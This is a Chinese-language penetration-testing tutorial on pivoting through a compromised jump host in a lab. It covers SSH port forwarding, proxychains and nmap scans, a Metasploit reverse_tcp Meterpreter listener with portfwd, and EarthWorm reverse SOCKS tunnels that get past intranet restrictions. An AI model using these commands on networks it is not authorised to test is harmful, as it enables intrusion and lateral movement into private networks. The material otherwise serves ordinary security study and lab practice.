目录
ssh
telnet与SSH的区别
安装环境
常用参数
本地端口转发
远程端口转发
动态端口转发
Socks
使用方法
msf端口转发
常用参数
使用方法
创建监听
MSF读取文件命令(开启msf的时候直接读取文件就自动设置好监听的各种配置)
获取会话后
earthworm
常用参数
代理工具
正向和反向代理的区别:
正向代理
反向代理(内网穿透)
代理多开:
在windows中使用proxifier进行代理
报错解决:
ssh
telnet与SSH的区别
telnet 23 --> 明文传输 --> 中间人攻击, 可以爆破
ssh 22 --> 加密传输 --> 可以爆破
安装环境
sudo apt-get install openssh-server
dpkg -l | grep ssh #查找已安装的SSH软件包
systemctl enable ssh #开机自启动SSH
/etc/ssh/sshd_config配置文件,需将参数PermitRootLogin设为yes,并重启ssh服务。
service ssh restart #重启SSH
ssh-config #客户端配置文件
sshd-config #服务端配置文件
常用参数
-C 压缩传输,提高传输速度
-f 将ssh传输转入后台,不占用当前shell
-N 建立静默连接
-g 允许远程主机连接本地用于端口转发
-L 本地端口转发
-R 远程端口转发
-D 动态转发(sock5代理)
-P 指定ssh端口
本地端口转发
思路:
在自己的kali中直接使用ssh进行端口转发,只需要知道跳板机的账户密码就可以完成端口转发的过程(前提是拿下跳板机)。
Kali: ssh -CfNg -L 1234:192.168.150.131:3389 (目标主机)root@192.168.200.129 (跳板机)
Kali: rdesktop 127.0.0.1:3389
跳板机有无rdesktop功能都无所谓,只要靶机开启远程桌面的服务就可以
远程端口转发
思路:
①这个操作的前提条件是需要自己的kali开启ssh服务,可以被其他设备进行远程连接。
②在跳板机上进行操作,用ssh连接自己的kali和连接靶机,完成端口的转发。
③这个也需要拿下跳板机进行操作,比本地端口转发的操作相对麻烦
跳板机:ssh -CfNg -R 4567:192.168.150.131:3389 root@192.168.200.129
#用Ubuntu做跳板机,ssh连接Kali,打开Kali的4567端口用来监听
#ssh -CfNg -R Kali端口(VPS端口):目标主机:目标端口 root@vps地址
kali:rdesktop 127.0.0.1:4567
再kali中可以看到进程中多了一个为9999端口的进程
动态端口转发
思路:
①与前两个端口转发相比,动态端口转发的优势明显。前面的端口转发转发的固定的端口,这个动态端口转发转发的可以是任意端口,可以在kali上连接靶机的任何端口服务。
②首先在自己的kali中开启动态端口转发,然后修改在kali中的配置文件(不修改文件的话直接在火狐浏览器中设置代理也是可以完成转发,访问到靶机的内网的)。
Socks
socks概念
SOCKS:防火墙安全会话转换协议 (Socks:Protocol for sessions traversal across firewall securely) Socks 协议提供一个框架,在 TCP 和 UDP 域中的客户机/服务器应用程序能更方便安全地使用网络防火墙所提供的服务。这个协议从概念上来讲是介于应用层和传输层之间的 “中介层(shim-layer)”,所以不提供传递 ICMP 信息之类的网络层网关服务。
Socks4与Socks5区别
Socks4和Socks5都属于Socks协议,只是由于所支持的具体应用不同而存在差异。 Socks4代理只支持TCP应用,而Socks5代理则可以支持TCP和UDP两种应用。不过由于Socks5代理还支持各种身份验证机制,服务器端域名解析等;而Socks4代理没有,所以通常对外开放的 Socks代理都是Socks4代理。因此,UDP应用通常都不能被支持。也就是说,Socks4能做的Socks5都可以做,而socks5能做的,Socks4不一定都可以做。
使用方法
Kali : ssh -CfNg -D 10000 hackbiao@192.168.200.133
#ssh -CfNg -D 10000 跳板机用户名@IP
#和前面参数不一样,这边是-D 后面跟上任意的端口,这个端口就是开启代理的端口。
浏览器检测方式
->设置网络配置: 手动配置代理 --> socks代理: 127.0.0.1 7000 --> socks4/5代理
proxychains检测方式
vim /etc/proxychains4.conf
#在末尾修改代理IP和端口(默认是9050)
proxychains4 curl myip.ipip.net
#用来测试代理是否开成功
########################33
代理上的使用:直接再前面跟上proxychains4就可以
proxychains4 curl http://192.168.48.138
proxychains4 firefox
proxychains4 rdesktop 192.168.48.138
proxychains4 nmap -sT -Pn 192.168.48.138 -p 3389
-sT固定为为TCP探测,不加会报错
-Pn跳过存活检测,不加报错!!! ICMP不适用端口号 无法转发!!!
-p指定3389端口
#没加端口的话他是每一个端口都给你进行扫描,上面会对每一个端口进行尝试,显示一堆的报错信息,可以不用管
msf端口转发
思路:
先进行后门的连接,连接成功后,可以以已经建立后门连接的机器作为跳板机,进行端口的转发(可以转发范围为跳板机所有可以达到的范围)
常用参数
Add:该参数用于创建转发。
Delete:从我们的转发端口列表中删除先前的条目。
List:列出当前转发的所有端口。
Flush:删除我们的转发列表中的所有端口。
-L:用于指定监听主机。 除非需要在特定网络适配器上进行转发,否则可以省略此选项。 如果未输入任何值, 则将使用0.0.0.0。
-h:显示以上信息。
-l:这是一个本地端口,它将在攻击机器上侦听。与此端口的连接将被转发到远程系统。
-p:TCP连接将转发到的端口。
-r:连接被中继到的IP地址(目标主机ip)
使用方法
创建监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.48.145
msf6 exploit(multi/handler) > run
MSF读取文件命令(开启msf的时候直接读取文件就自动设置好监听的各种配置)
-r #读取参数
文件内容
msfconsole -r 1 /msfconsole -r 2
获取会话后
meterpreter>portfwd add -l 1122 -p 3389 -r 192.168.150.131
#add创建转发 l本地端口 p 靶机的端口 -r 靶机的地址
#把靶机的3389端口转发到本地的1122端口
meterpreter>porfwd list
#显示转发列表
转发完可以看到列表中存在转发的,然后直接新开一命令行就可进行连接
rdesktop 127.0.0.1:1122
earthworm
常用参数
ssocksd 正向代理
rssocks 反向代理(监听)
rcsocks 反向代理(连接)
-l 设置监听的端口.
-d 要连接的地址(单层跳板).
-e 要转发的端口.
-f 设置多层跳板目标转发ip .
-g 设置多层跳板目标的端口.
-a about show the about pages
-v version show the version.
-t usectime set the milliseconds for timeout.
代理工具
windows: proxifer
linux: proxychains
正向和反向代理的区别:
1、正向代理实际代理的是客户端。反向代理代理的是目标服务器。
2、正向代理是客户端架构,而反向代理是服务器架构。
3、正向代理中,服务器不知道真正的用户是谁。反向代理中,用户不知道真正的服务器是谁。
4、正向代理主要用来解决访问问题。反向代理主要用于解决负载均衡、安全防护,但二者都能提高访问速度。
正向代理
思路:
在跳板机开启代理之后,在自己的主机配置完代理之后,可以直接进行访问跳板机可以访问的所有范围。如果是仅主机模式的话,那么是可以在配置完代理的时候进行上网的。自己挂vpn的时候,没网络不能上网的原因是:没网络的时候是访问不了代理服务器的。
跳板机
socks5代理
Windows开启代理:ew -s ssocksd -l 7777
Linux开启代理:./ew_for_linux64 -s ssocksd -l 7777
主机
vim /etc/proxychains4.conf
socks5 192.168.200.133 3344
#要注意修改配置文件为socks5,如果为4的话代理时不能够成功开启的
反向代理(内网穿透)
内网主机有限制, 可以利用反向代理转发内网主机流量
思路:
现在跳板机中开启反向代理,然后再靶机上面进行连接。最后,再自己的kali中修改配置文件,将配置文件的ip端口进行修改就完成
跳板机
./ew_for_linux64 -s rcsocks -l 7777 -e 2222
#-l 设置本地要进行连接的端口,就是代理端口,在kali的配置文件中的代理端口就是这个
内网主机
ew_for_Win.exe -s rssocks -d 192.168.0.104 -e 2222
#-d 连接的是目标地址也就是跳板机的地址
#-e 开启监听端口
在靶机中进行的操作状态
跳板机反向代理连接成功的状态
再自己的kali中查看代理的开启是否成功
代理多开:
①在跳板机开启反向代理的时候,连接端口一定不能与windows的监听端口一致不然会报错。
②监听多开的时候,连接的本地端口一定不能冲突,在windows上面的监听端口也不能与之前的冲突
在windows中使用proxifier进行代理
思路:
直接打开软件进行添加规则,添加的规则的地址端口就是跳板机的ip地址和开启代理的端口,这边是直接用的上面的反向代理。配置完之后,check检查一下,没有问题的话就可以开启网站进行测试。(可以开一个小皮进行测试,或者直接mstsc进行远程桌面连接测试,看一下是否可以访问的到)
报错解决:
在开启方向代理后,我的主机kali正在使用跳板机的代理进行访问。这时候,在开一台windows想连接这个代理,可能会导致报错,网络连接不成功。总体的配置是没有问题的,应该就是连接不稳定导致的出错。这时候就需要在跳板机重新开启反向代理,在用windows去连接就可以了。